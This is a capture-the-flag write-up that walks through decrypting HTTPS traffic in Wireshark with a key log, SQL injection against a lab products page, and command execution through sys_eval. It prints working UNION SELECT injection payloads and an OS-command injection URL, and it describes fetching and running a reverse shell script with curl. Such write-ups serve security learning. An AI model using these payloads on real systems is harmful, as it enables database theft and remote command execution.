The following post by 0xb0b is licensed under CC BY 4.0
Some Wireshark
We download the task files and find a ssl_key.log file in there as well as a pcapng. Inspecting the pcapng with Wireshark, we see we are dealing with a lot of encrypted HTTPS traffic. Since we have a ssl_key.log file, we can decrypt that traffic following the guide below:
After adding the ssl.key.log file, we should be able to see the clear text content of the HTTPS traffic.
(http.request or tls.handshake.type eq 1) and !(ssdp)
To answer the first two questions, we follow packet no. 78.
right click → Follow → HTTP Stream
Here we find the credentials to access the products search page for the following tasks.
Manual and Non-Manual SQLI
We start a Nmap scan and find three open ports, on port 8000 we find the page in question.
After logging in with the found credentials from the Wireshark pcapng file...
...we are redirected to /searchproducts.php.
Manually
We have to guess or enumerate the database, since we have some column names like Product Name, Product Type, etc. on the page, we deduce that the actual column names in the table are like product_name. Since the challenge heading is about unlisted stuff, and we are facing the products page, we try the table name unlisted_products. With that, we are able to retrieve the hidden path.
' UNION SELECT 1,2,3,4,product_name FROM unlisted_products -- -
We could also enumerate the database by querying the information_schema.tables.
See this article as referene:
With the following query we can retrieve all tables from the database:
'union select null, null, null, group_concat(table_name, 0x0a), null FROM information_schema.tables WHERE table_schema = database() -- //
Get the columns of the table:
'UNION SELECT null, null, null, group_concat(0x7c,column_name,0x7c), null FROM information_schema.columns WHERE table_name='unlisted_products' -- //
'UNION SELECT null, null, null, group_concat(0x7c,column_name,0x7c), null FROM information_schema.columns WHERE table_name='easter_egg' -- //
'UNION SELECT null, null, null, group_concat(0x7c,message,0x7c,url_path), null FROM easter_egg-- //
Go check it out :)
SQLMap
We can capture the request of searching an arbitrary product and use that in SQLMap to dump the entire database and finding some neat easter eggs and all the info we need for the upcoming questions.
To find the needle in the malwarestack we are asked to decrypt the .txt.gpg files with the keys hidden in the database. Let's first try to retrieve the receipts. We can find the receipts at /home/receipts.
A workaround is to spawn a reverse shell. We see that we have python3 available. Let's craft a python3 reverse shell using revshells.com and save the file to our machine. Next, we create an HTTP server via python on our machine to make the script available to the target machine. We use curl via the sqli OS command page to download the reverse shell script and then execute that afterwards.
http://10.10.211.168:8000/os_sqli.php?user=lannister' union SELECT null,null,null,null,sys_eval('ls /usr/bin/python3') -- //&debug=true
By reading the readme.txt, we are able to determine how to set the program in debug mode. After running the program in that mode, we are able to retrieve the final flag.